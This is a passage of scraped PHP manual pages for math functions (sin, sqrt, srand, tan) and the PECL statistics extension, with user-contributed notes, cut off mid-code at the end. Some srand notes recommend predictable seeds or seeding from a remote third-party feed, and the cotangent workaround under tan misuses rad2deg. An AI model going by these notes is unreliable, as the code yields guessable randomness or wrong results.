<?php printf ("%6.2f",3.39532); ?>

This returns: 3.40 .


Sine

  • « round
  • sinh »
  • PHP Manual
  • Math Functions
  • Sine

sin

(PHP 4, PHP 5)

sin — Sine

Description

float sin ( float $arg )

sin() returns the sine of the arg parameter. The arg parameter is in radians.

Parameters

arg

A value in radians

Return Values

The sine of arg

Examples

Example #1 sin() example

<?php

// Precision depends on your precision directive
echo sin(deg2rad(60));  //  0.866025403 ...
echo sin(60);           // -0.304810621 ...

?>

See Also

  • asin() - Arc sine
  • sinh() - Hyperbolic sine
  • cos() - Cosine
  • tan() - Tangent
  • deg2rad() - Converts the number in degrees to the radian equivalent

User Contributed Notes

gerjoo at gmail dot com 15-Mar-2010 10:26
You can use SIN & COS to create/draw circles.

Please beware that the circle's center is also your base point (0,0). So without specifying an offset, some coordinates will be negative.

<?php

$circleRadius = 70;
$offsetX      = 100;
$offsetY      = 100;

for($i = 0; $i <= 360; ++$i) {
    $x = round(cos($i * M_PI / 180) * $circleRadius);
    $y = round(sin($i * M_PI / 180) * $circleRadius);

    // Draw some pixel, or do something else here.
    imagesetpixel($GDimage, $x + $offsetX, $y + $offsetY, $GDcolor);
}

?>


Hyperbolic sine

  • « sin
  • sqrt »
  • PHP Manual
  • Math Functions
  • Hyperbolic sine

sinh

(PHP 4 >= 4.1.0, PHP 5)

sinh — Hyperbolic sine

Description

float sinh ( float $arg )

Returns the hyperbolic sine of arg, defined as (exp(arg) - exp(-arg))/2.

Parameters

arg

The argument to process

Return Values

The hyperbolic sine of arg

See Also

  • sin() - Sine
  • asinh() - Inverse hyperbolic sine
  • cosh() - Hyperbolic cosine
  • tanh() - Hyperbolic tangent

User Contributed Notes

There are no user contributed notes for this page.


Square root

  • « sinh
  • srand »
  • PHP Manual
  • Math Functions
  • Square root

sqrt

(PHP 4, PHP 5)

sqrt — Square root

Description

float sqrt ( float $arg )

Returns the square root of arg.

Parameters

arg

The argument to process

Return Values

The square root of arg or the special value NAN for negative numbers.

Examples

Example #1 sqrt() example

<?php
// Precision depends on your precision directive
echo sqrt(9); // 3
echo sqrt(10); // 3.16227766 ...
?>

See Also

  • pow() - Exponential expression

User Contributed Notes

jouhni at web dot de 17-Feb-2005 08:46
To get any root of a number your can use the pow() function:

pow(8, 1/3)

which gives you the third root of eight.

Jouhni


Seed the random number generator

  • « sqrt
  • tan »
  • PHP Manual
  • Math Functions
  • Seed the random number generator

srand

(PHP 4, PHP 5)

srand — Seed the random number generator

Description

void srand ([ int $seed ] )

Seeds the random number generator with seed or with a random value if no seed is given.

Note: As of PHP 4.2.0, there is no need to seed the random number generator with srand() or mt_srand() as this is now done automatically.

Parameters

seed

Optional seed value

Return Values

No value is returned.

Examples

Example #1 srand() example

<?php
// seed with microseconds
function make_seed()
{
  list($usec, $sec) = explode(' ', microtime());
  return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$randval = rand();
?>

See Also

  • rand() - Generate a random integer
  • getrandmax() - Show largest possible random value
  • mt_srand() - Seed the better random number generator

User Contributed Notes

simon at labs dot coop 25-Dec-2013 06:19
I can’t stress how important it is to seed your randomisation process in code! better still something we found in the BBS Days was if we didn’t seed from a token from outside our systems abstraction layer we would go in circles and so would our users. Here at chronolabs we offer a feed of randomly changing token on each impression, it also randomly displays a different number of them this is from http://seed.feeds.labs.coop in the example below I use DOM to load the XML, Extract the randomisation tokens and then with mt_srand and srand seed the random selecting processes! The following function when you call it will seed your random selection process in both the old and new random selection routines all you need to do is call the function! This will work with any version of PHP 5 and any earlier with DOM Objectivity.

function makeRandomSeeded() {
    $file = 'http://seed.feeds.labs.coop/';
    $doc = new DOMDocument();
    $doc->loadHTMLFile($file);
    $skip = array('This feed can', 'Current mode is');
    $elements = $doc->getElementsByTagName('description');
    foreach($elements as $element) {
        $seed = $element->nodeValue;
        $found = false;
        foreach($skip as $find) {
            if (substr($seed, 0, strlen($find))==$find) {
                $found = true;
            }
        }
        if ($found==false)
            $seeds[] = $seed;
    }
    shuffle($seeds);
    mt_srand($seeds[mt_rand(0, count($seeds)-1)]);
    srand($seeds[mt_rand(0, count($seeds)-1)]);
}

Remember when PHP says an integer this also include any character of the Ascii chart if you would like to see an example of this do the following:

<?php
   $a = "000A";
   while($a!="001B") {
      echo $a;
      $a++;
   }
?>
simon at labs dot coop 06-Oct-2013 04:41
Something we discovered in Sydney running BBS Systems before the net advent was here, if we didn't seed of another BBS we would going in circles in our System Physicality Abstraction Layers.. The important thing is to seed from a remote system and easy way at the Centroidal Plexus of the web (Chronolabs Cooperative) we offer a seed feed and the following code will randomise you out of the number cycle:

See in PHP both the letters and numbers are seedable as letters are treated as numbers as well. You can always use individual tokens by extracting the Element with DOM.. But below is equally effective!

<?php

srand(file_get_contents('http://seed.feeds.labs.coop'));

?>
Niels Keurentjes 25-Feb-2011 02:22
Keep in mind that the Suhosin patch which is installed by default on many PHP-installs such as Debian and DirectAdmin completely disables the srand and mt_srand functions for encryption security reasons. To generate reproducible random numbers from a fixed seed on a Suhosin-hardened server you will need to include your own pseudorandom generator code.
harmen at no dot spam dot rdzl dot nl 10-Apr-2009 07:53
To generate a random number which is different every day, I used the number of days after unix epoch as a seed:

<?php
   srand(floor(time() / (60*60*24)));
   echo rand() % 100;
?>

My provider upgraded the php server recently, and calling srand(seed) does not seem to set the seed anymore. To let srand set the seed, add the following line to your .htaccess file

php_value suhosin.srand.ignore 0

Kudos to doc_z (http://www.webmasterworld.com/php/3777515.htm)

Harmen
bootc at bootc dot net 06-Jun-2005 05:03
OK, to summarize what people have been saying so far:

1. DO NOT seed the RNG more than once if you can help it!
2. You HAVE TO seed the RNG yourself if you are using PHP < 4.2.0.
3. Using a prime multiplier to microtime() probably does very little. Use the Mersenne Twister instead.
4. You can use the Mersenne Twister PRNG with the mt_rand and mt_srand functions. This is faster and is more random.
edublancoa at gmail dot com 23-Dec-2004 10:39
Another use of srand is to obtain the same value of rand in a determined time interval. Example: you have an array of 100 elements and you need to obtain a random item every day but not to change in the 24h period (just imagine "Today's Photo" or similar).
<?php
$seed = floor(time()/86400);
srand($seed);
$item = $examplearray[rand(0,99)];
?>
You obtain the same value every time you load the page all the 24h period.
no at spam dot com 02-Sep-2004 01:59
I simply use this, and it has always worked fine:

function initRand ()
{
    static $randCalled = FALSE;
    if (!$randCalled)
    {
        srand((double) microtime() * 1000000);
        $randCalled = TRUE;
    }
}
function randNum ($low, $high)
{
    initRand();
    $rNum = rand($low, $high);
    return $rNum;
}
ceo at l-i-e dot com 23-Feb-2002 02:53
In addition to my earlier post being stupidly coded with $wasseeded = TRUE :-| here is an update:

In PHP4, I *BELIEVE* the random number generator will seed itself if you don't seed it.

In PHP3, or some versions of PHP3?, that was not the case -- An unseeded rand() wouldn't be random.

While it would "work fine" in terms of spitting out a number, an unseeded random number generator won't be very random in many situations unless it has been properly seeded.

I'm afraid I can't explain all the details of why this is because A) it would be an entire textbook, and B) I don't know them all by heart, even if I understood them 20 years ago in college.

If you are running PHP4, you are probably okay, and if you are happy with the randomness of your values, you are fine, but you may want to do a little test like:

<?php
  $stats[1] = 0;
  $stats[2] = 0;
  $stats[3] = 0;
  for ($i = 0; $i < 1000; $i++){
    $choice = rand(1,3);
    if (!$i){
      echo "First random choice: $choice<BR>\n";
    }
    $stats[$choice]++;
  }
  reset($stats);
  while (list($num, $count) = each($stats)){
    echo "$num: $count<BR>\n";
  }
?>

Run the test a half-dozen times and check that the distribution of 1, 2, and 3 is even, and that the first number chosen is not the same every time.

This is hardly an exhaustive test, but it at least gives some reassurance that the numbers aren't completely predictable.

You may also wish to switch to http://php.net/mt_rand which is faster (if you generate a *LOT* of numbers) and allegedly a "better" (more random) function.

Again, it would be an entire book to explain why mt_rand is "more random"...

YMMV.  If you're doing "Casino Slots" with real money, you'd better do your homework on this.  If you're giving away a free CD or something silly, who cares?
mlwmohawk at mohawksoft dot com 02-Nov-2001 04:51
srand() is pretty tricky to get right. You should never seed a random number generator more than once per php process, if you do, your randomness is limited to the source of your seed.

The microtime function's micro-seconds portion has a very finite resolution, that is why the make_seed function was added to the document. You should never get the same seed twice.

In the later CVS versions, PHP will seed the random generator prior to performing a rand() if srand() was not previously called.
php_public at macfreek dot nl 07-Oct-2001 05:52
The make_seed() function in the example code is VERY bad, and is in fact responsible for seeding always the same value, so that the output of rand() is the same with every page reload (!)

ALWAYS use:
(double)microtime()*1000000

See for more details my note on the mt_srand() page [ function.mt_srand.php ]
15-Aug-2001 07:14
I have a ramdon circulater that changes a piece of text once a day, and I use the following code to make sure the see is unique enough.

$tm = time();
$today = mktime(0, 0, 0, (int)date("n", $tm), (int)date("j", $tm), (int)date("Y", $tm));
srand($today / pi());

The pi works wonders for the whole thing and it works like a charm. Any other big decimal number will do as well, but pi is the most common "big" number.
akukula at min dot pl 14-Aug-2001 04:14
Calling srand((double)microtime()*1000000),
then $a=rand(1000000,9999999), then srand((double)microtime()*$a)
adds nothing to the entrophy: the execution time of rand and srand is
constant, so the second microtime() produces nothing really fascinating. You may safely use just the first srand().
vonStahl at NOPE2SPAM dot ratio dot net 27-Jul-2001 02:32
How about<br>
<?
srand((double)microtime()*1000000);
$seed = rand(1000000,9999999);
srand((double)microtime()*$seed);
$yadda = rand (1,100);
?><br>
I used this in a test run with 1,000.000 calls for $yadda. Processing time increased by 0.0000061 seconds compared to a simple "srand((double)microtime()*1000000);"
$yadda had the value of each number between 1 and 100 for between 0.99999122% and 1.00000872% of all calls. That's random and fast enough for me. :)
rjones at ditzed dot org 29-May-2001 09:02
As a sidenote on the usage of srand():

If you are making use of modular programming, it is probably better to try and call the srand routine from the parent script than from any modules you may be using (using REQUIRE or INCLUDE).
This way you get around the possibility of calling srand() more than once from different modules.

The flaw in this solution, of course, is when using modules produced by another programmer, or when producing modules for another programmer.
You cannot rely on another programmer calling the srand function before calling the modular function, so you would have to include the srand function inside the module in this case.

If you produce modules for use by other programmers then it is good practice to documentise the fact you have already called the srand function.
Or if you use a modular function produced by someone else, check their documentation, or check their source code.
rjones at ditzed dot org 29-May-2001 08:41
Use the srand() seed "(double)microtime()*1000000" as mentioned by the richard@zend.com at the top of these user notes.

The most notable effect of using any other seed is that your random numbers tend to follow the same, or very similar, sequences each time the script is invoked.

Take note of the following script:

<?php
  srand($val);

  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20);
?>

If you seed the generator with a constant, say; the number 5 ($val = 5), then the sequence generated is always the same, in this case (0, 18, 7, 15, 17) (for me at least, different processors/processor speeds/operating systems/OS releases/PHP releases/webserver software may generate different sequences).

If you seed the generator with time(), then the sequence is more random, but invokations that are very close together will have similar outputs.

As richard@zend.com above suggests, the best seed to use is (double) microtime() * 1000000, as this gives the greatest amount of psuedo-randomness. In fact, it is random enough to suit most users.
In a test program of 100000 random numbers between 1 and 20, the results were fairly balanced, giving an average of 5000 results per number, give or take 100. The deviation in each case varied with each invokation.
MakeMoolah at themail dot com 29-Jan-2001 12:16
Sorry about that...  ok, forget have of what I said up there ^.

The code that would prove my example is this:

<?php
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
?>

Each time you SHOULD get the same answer, but if you did this:

<?php
srand(5);
echo(rand(1, 10));
echo(rand(1, 10));
echo(rand(1, 10));
?>

then the answers would be different, and you'd be letting the random number formula do it's duty.
hagen at von-eitzen dot de 10-Oct-2000 12:51
It is REALLY essential to make sure that srand is called only once.
This is a bit difficult if the call is hidden somewhere in third-party code you include. For example, I used a standard banner script that *seemed* to work well putting
three random banners in one frame. But in the long run, the choice appeared
somewhat biased - probably because srand was called once per banner, not
once per run.
It would be nice if the random number generator worked like in PERL: If You use the random function without having called srand ever before in a script,
srand is invoked before (and automatically with a nice seed, hopefully).
I suggest that one should do something like this:

<?php
if (!$GLOBALS["IHaveCalledSrandBefore"]++) {
  srand((double) microtime() * 1000000);
}
?>

(Depending on the situation, one might also work with a static variable instead)


Tangent

  • « srand
  • tanh »
  • PHP Manual
  • Math Functions
  • Tangent

tan

(PHP 4, PHP 5)

tan — Tangent

Description

float tan ( float $arg )

tan() returns the tangent of the arg parameter. The arg parameter is in radians.

Parameters

arg

The argument to process in radians

Return Values

The tangent of arg

Examples

Example #1 tan() example

<?php

echo tan(M_PI_4); // 1

?>

See Also

  • atan() - Arc tangent
  • atan2() - Arc tangent of two variables
  • sin() - Sine
  • cos() - Cosine
  • tanh() - Hyperbolic tangent
  • deg2rad() - Converts the number in degrees to the radian equivalent

User Contributed Notes

georgedot at gmail dot com 10-Sep-2009 10:50
Workaround for cotangent function

<?php
//FOR PHP 4
function cot($rad)
{
    return tan(M_PI_2 - rad2deg($rad));
}

//FOR PHP 3
function cot($rad)
{
    return tan(M_PI/2 - rad2deg($rad));
}
?>


Hyperbolic tangent

  • « tan
  • Statistics »
  • PHP Manual
  • Math Functions
  • Hyperbolic tangent

tanh

(PHP 4 >= 4.1.0, PHP 5)

tanh — Hyperbolic tangent

Description

float tanh ( float $arg )

Returns the hyperbolic tangent of arg, defined as sinh(arg)/cosh(arg).

Parameters

arg

The argument to process

Return Values

The hyperbolic tangent of arg

See Also

  • tan() - Tangent
  • atanh() - Inverse hyperbolic tangent
  • sinh() - Hyperbolic sine
  • cosh() - Hyperbolic cosine

User Contributed Notes

There are no user contributed notes for this page.


Statistics

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Statistic Functions
    • stats_absolute_deviation — Returns the absolute deviation of an array of values
    • stats_cdf_beta — CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.
    • stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others.
    • stats_cdf_cauchy — Not documented
    • stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others.
    • stats_cdf_exponential — Not documented
    • stats_cdf_f — Calculates any one parameter of the F distribution given values for the others.
    • stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others.
    • stats_cdf_laplace — Not documented
    • stats_cdf_logistic — Not documented
    • stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others.
    • stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others.
    • stats_cdf_noncentral_f — Calculates any one parameter of the Non-central F distribution given values for the others.
    • stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others.
    • stats_cdf_t — Calculates any one parameter of the T distribution given values for the others.
    • stats_cdf_uniform — Not documented
    • stats_cdf_weibull — Not documented
    • stats_covariance — Computes the covariance of two data sets
    • stats_den_uniform — Not documented
    • stats_dens_beta — Not documented
    • stats_dens_cauchy — Not documented
    • stats_dens_chisquare — Not documented
    • stats_dens_exponential — Not documented
    • stats_dens_f — Description
    • stats_dens_gamma — Not documented
    • stats_dens_laplace — Not documented
    • stats_dens_logistic — Not documented
    • stats_dens_negative_binomial — Not documented
    • stats_dens_normal — Not documented
    • stats_dens_pmf_binomial — Not documented
    • stats_dens_pmf_hypergeometric — Description
    • stats_dens_pmf_poisson — Not documented
    • stats_dens_t — Not documented
    • stats_dens_weibull — Not documented
    • stats_harmonic_mean — Returns the harmonic mean of an array of values
    • stats_kurtosis — Computes the kurtosis of the data in the array
    • stats_rand_gen_beta — Generates beta random deviate
    • stats_rand_gen_chisquare — Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.
    • stats_rand_gen_exponential — Generates a single random deviate from an exponential distribution with mean "av"
    • stats_rand_gen_f — Generates a random deviate
    • stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)
    • stats_rand_gen_gamma — Generates random deviates from a gamma distribution
    • stats_rand_gen_ibinomial_negative — Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).
    • stats_rand_gen_ibinomial — Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE
    • stats_rand_gen_int — Generates random integer between 1 and 2147483562
    • stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).
    • stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)
    • stats_rand_gen_noncenral_chisquare — Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0
    • stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central denominator chisquare variate.
    • stats_rand_gen_noncentral_t — Generates a single random deviate from a noncentral T distribution
    • stats_rand_gen_normal — Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.
    • stats_rand_gen_t — Generates a single random deviate from a T distribution
    • stats_rand_get_seeds — Not documented
    • stats_rand_phrase_to_seeds — generate two seeds for the RGN random number generator
    • stats_rand_ranf — Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator
    • stats_rand_setall — Not documented
    • stats_skew — Computes the skewness of the data in the array
    • stats_standard_deviation — Returns the standard deviation
    • stats_stat_binomial_coef — Not documented
    • stats_stat_correlation — Not documented
    • stats_stat_gennch — Not documented
    • stats_stat_independent_t — Not documented
    • stats_stat_innerproduct — Description
    • stats_stat_noncentral_t — Calculates any one parameter of the noncentral t distribution give values for the others.
    • stats_stat_paired_t — Not documented
    • stats_stat_percentile — Not documented
    • stats_stat_powersum — Not documented
    • stats_variance — Returns the population variance

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This is the statistics extension. It contains few dozens of functions useful for statistical computations. It is a wrapper around 2 scientific libraries, namely DCDFLIB (Library of C routines for Cumulative Distributions Functions, Inverses, and Other parameters) by B. Brown & J. Lavato and RANDLIB by Barry Brown, James Lavato & Kathy Russell. Includes CD and PD functions.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

No external libraries are needed. The extension comes bundled with the libraries used.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/stats.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Statistic Functions

Table of Contents

  • stats_absolute_deviation — Returns the absolute deviation of an array of values
  • stats_cdf_beta — CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.
  • stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others.
  • stats_cdf_cauchy — Not documented
  • stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others.
  • stats_cdf_exponential — Not documented
  • stats_cdf_f — Calculates any one parameter of the F distribution given values for the others.
  • stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others.
  • stats_cdf_laplace — Not documented
  • stats_cdf_logistic — Not documented
  • stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others.
  • stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others.
  • stats_cdf_noncentral_f — Calculates any one parameter of the Non-central F distribution given values for the others.
  • stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others.
  • stats_cdf_t — Calculates any one parameter of the T distribution given values for the others.
  • stats_cdf_uniform — Not documented
  • stats_cdf_weibull — Not documented
  • stats_covariance — Computes the covariance of two data sets
  • stats_den_uniform — Not documented
  • stats_dens_beta — Not documented
  • stats_dens_cauchy — Not documented
  • stats_dens_chisquare — Not documented
  • stats_dens_exponential — Not documented
  • stats_dens_f — Description
  • stats_dens_gamma — Not documented
  • stats_dens_laplace — Not documented
  • stats_dens_logistic — Not documented
  • stats_dens_negative_binomial — Not documented
  • stats_dens_normal — Not documented
  • stats_dens_pmf_binomial — Not documented
  • stats_dens_pmf_hypergeometric — Description
  • stats_dens_pmf_poisson — Not documented
  • stats_dens_t — Not documented
  • stats_dens_weibull — Not documented
  • stats_harmonic_mean — Returns the harmonic mean of an array of values
  • stats_kurtosis — Computes the kurtosis of the data in the array
  • stats_rand_gen_beta — Generates beta random deviate
  • stats_rand_gen_chisquare — Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.
  • stats_rand_gen_exponential — Generates a single random deviate from an exponential distribution with mean "av"
  • stats_rand_gen_f — Generates a random deviate
  • stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)
  • stats_rand_gen_gamma — Generates random deviates from a gamma distribution
  • stats_rand_gen_ibinomial_negative — Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).
  • stats_rand_gen_ibinomial — Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE
  • stats_rand_gen_int — Generates random integer between 1 and 2147483562
  • stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).
  • stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)
  • stats_rand_gen_noncenral_chisquare — Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0
  • stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central denominator chisquare variate.
  • stats_rand_gen_noncentral_t — Generates a single random deviate from a noncentral T distribution
  • stats_rand_gen_normal — Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.
  • stats_rand_gen_t — Generates a single random deviate from a T distribution
  • stats_rand_get_seeds — Not documented
  • stats_rand_phrase_to_seeds — generate two seeds for the RGN random number generator
  • stats_rand_ranf — Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator
  • stats_rand_setall — Not documented
  • stats_skew — Computes the skewness of the data in the array
  • stats_standard_deviation — Returns the standard deviation
  • stats_stat_binomial_coef — Not documented
  • stats_stat_correlation — Not documented
  • stats_stat_gennch — Not documented
  • stats_stat_independent_t — Not documented
  • stats_stat_innerproduct — Description
  • stats_stat_noncentral_t — Calculates any one parameter of the noncentral t distribution give values for the others.
  • stats_stat_paired_t — Not documented
  • stats_stat_percentile — Not documented
  • stats_stat_powersum — Not documented
  • stats_variance — Returns the population variance

User Contributed Notes

Anonymous 08-May-2013 12:09
The source code actually has much more complete documentation (more functions, a better description of what they do, and parameters). You can see the latest here:
http://svn.php.net/viewvc/pecl/stats/trunk/

Notably, try clicking the latest revision number for php_stats.c
oliver at realtsp dot com 25-Jul-2008 10:17
There are some undocumented functions in this extension, eg I found the following by reading the DCDFLIB docs and some trial and error:

<?php

/**
 * stats_cdf_normal($x, $mean, $sd, 1)
 * @return float cumulative probablity
 */
echo stats_cdf_normal(1.96, 0, 1, 1) . "\n";

/**
 * stats_cdf_normal($p, $mean, $sd, 1)
 * @return float x which bounds cumulative probalility $p
 */
echo stats_cdf_normal(0.975, 0, 1, 2) . "\n";

// less useful
// echo stats_cdf_normal(0.4,0.5,0.6,3) . "\n";
// echo stats_cdf_normal(0.4,0.5,0.6,4) . "\n";
?>


Returns the absolute deviation of an array of values

  • « Statistic Functions
  • stats_cdf_beta »
  • PHP Manual
  • Statistic Functions
  • Returns the absolute deviation of an array of values

stats_absolute_deviation

(PECL stats >= 1.0.0)

stats_absolute_deviation — Returns the absolute deviation of an array of values

Description

float stats_absolute_deviation ( array $a )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

Return Values

User Contributed Notes

There are no user contributed notes for this page.


CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.

  • « stats_absolute_deviation
  • stats_cdf_binomial »
  • PHP Manual
  • Statistic Functions
  • CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.

stats_cdf_beta

(PECL stats >= 1.0.0)

stats_cdf_beta — CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.

Description

float stats_cdf_beta ( float $par1 , float $par2 , float $par3 , int $which )

Method Cumulative distribution function (P) is calculated directly by code associated with the following reference. DiDinato, A. R. and Morris, A. H. Algorithm 708: Significant Digit Computation of the Incomplete Beta Function Ratios. ACM Trans. Math. Softw. 18 (1993), 360-373. Computation of other parameters involve a search for a value that produces the desired value of P. The search relies on the monotonicity of P with the other parameter. Note The beta density is proportional to t^(A-1) * (1-t)^(B-1) Arguments P -- The integral from 0 to X of the chi-square distribution. Input range: [0, 1]. Q -- 1-P. Input range: [0, 1]. P + Q = 1.0. X -- Upper limit of integration of beta density. Input range: [0,1]. Search range: [0,1] Y -- 1-X. Input range: [0,1]. Search range: [0,1] X + Y = 1.0. A -- The first parameter of the beta density. Input range: (0, +infinity). Search range: [1D-100,1D100] B -- The second parameter of the beta density. Input range: (0, +infinity). Search range: [1D-100,1D100] STATUS -- 0 if calculation completed correctly -I if input parameter number I is out of range 1 if answer appears to be lower than lowest search bound 2 if answer appears to be higher than greatest search bound 3 if P + Q .ne. 1 4 if X + Y .ne. 1 BOUND -- Undefined if STATUS is 0 Bound exceeded by parameter number I if STATUS is negative. Lower search bound if STATUS is 1. Upper search bound if STATUS is 2.

Parameters

par1

par2

par3

which

Integer indicating which of the next four argument values is to be calculated from the others. Legal range: 1..4 which = 1 : Calculate P and Q from X,Y,A and B which = 2 : Calculate X and Y from P,Q,A and B which = 3 : Calculate A from P,Q,X,Y and B which = 4 : Calculate B from P,Q,X,Y and A

Return Values

STATUS -- 0 if calculation completed correctly -I if input parameter number I is out of range 1 if answer appears to be lower than lowest search bound 2 if answer appears to be higher than greatest search bound 3 if P + Q .ne. 1 4 if X + Y .ne. 1

User Contributed Notes

Anonymous 30-Dec-2009 09:29
Additional Notes, taken from source.
 WHICH --> Integer indicating which of the next four argument
       values is to be calculated from the others.
     Legal range: 1..4
     iwhich = 1 : Calculate P and Q from X,Y,A and B
     iwhich = 2 : Calculate X and Y from P,Q,A and B
     iwhich = 3 : Calculate A from P,Q,X,Y and B
     iwhich = 4 : Calculate B from P,Q,X,Y and A

     P <--> The integral from 0 to X of the chi-square
     distribution.
     Input range: [0, 1].

     Q <--> 1-P.
     Input range: [0, 1].
     P + Q = 1.0.

     X <--> Upper limit of integration of beta density.
     Input range: [0,1].
     Search range: [0,1]

     Y <--> 1-X.
     Input range: [0,1].
     Search range: [0,1]
     X + Y = 1.0.

     A <--> The first parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]

     B <--> The second parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]


Calculates any one parameter of the binomial distribution given values for the others.

  • « stats_cdf_beta
  • stats_cdf_cauchy »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the binomial distribution given values for the others.

stats_cdf_binomial

(PECL stats >= 1.0.0)

stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others.

Description

float stats_cdf_binomial ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_cdf_binomial
  • stats_cdf_chisquare »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_cdf_cauchy

(PECL stats >= 1.0.0)

stats_cdf_cauchy — Not documented

Description

float stats_cdf_cauchy ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the chi-square distribution given values for the others.

  • « stats_cdf_cauchy
  • stats_cdf_exponential »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the chi-square distribution given values for the others.

stats_cdf_chisquare

(PECL stats >= 1.0.0)

stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others.

Description

float stats_cdf_chisquare ( float $par1 , float $par2 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Not documented

  • « stats_cdf_chisquare
  • stats_cdf_f »
  • PHP Manual
  • Statistic Functions
  • Not documented

stats_cdf_exponential

(PECL stats >= 1.0.0)

stats_cdf_exponential — Not documented

Description

float stats_cdf_exponential ( float $par1 , float $par2 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the F distribution given values for the others.

  • « stats_cdf_exponential
  • stats_cdf_gamma »
  • PHP Manual
  • Statistic Functions
  • Calculates any one parameter of the F distribution given values for the others.

stats_cdf_f

(PECL stats >= 1.0.0)

stats_cdf_f — Calculates any one parameter of the F distribution given values for the others.

Description

float stats_cdf_f ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

brjann (theat) gmail (thedot) com 06-Oct-2007 03:18
Input  and return values of stats_cdf_t depends on the $which-parameter:
<?php
function get_t_p($t, $df){
   return stats_cdf_t($t, $df, 1);
}

function get_t_t($p, $df){
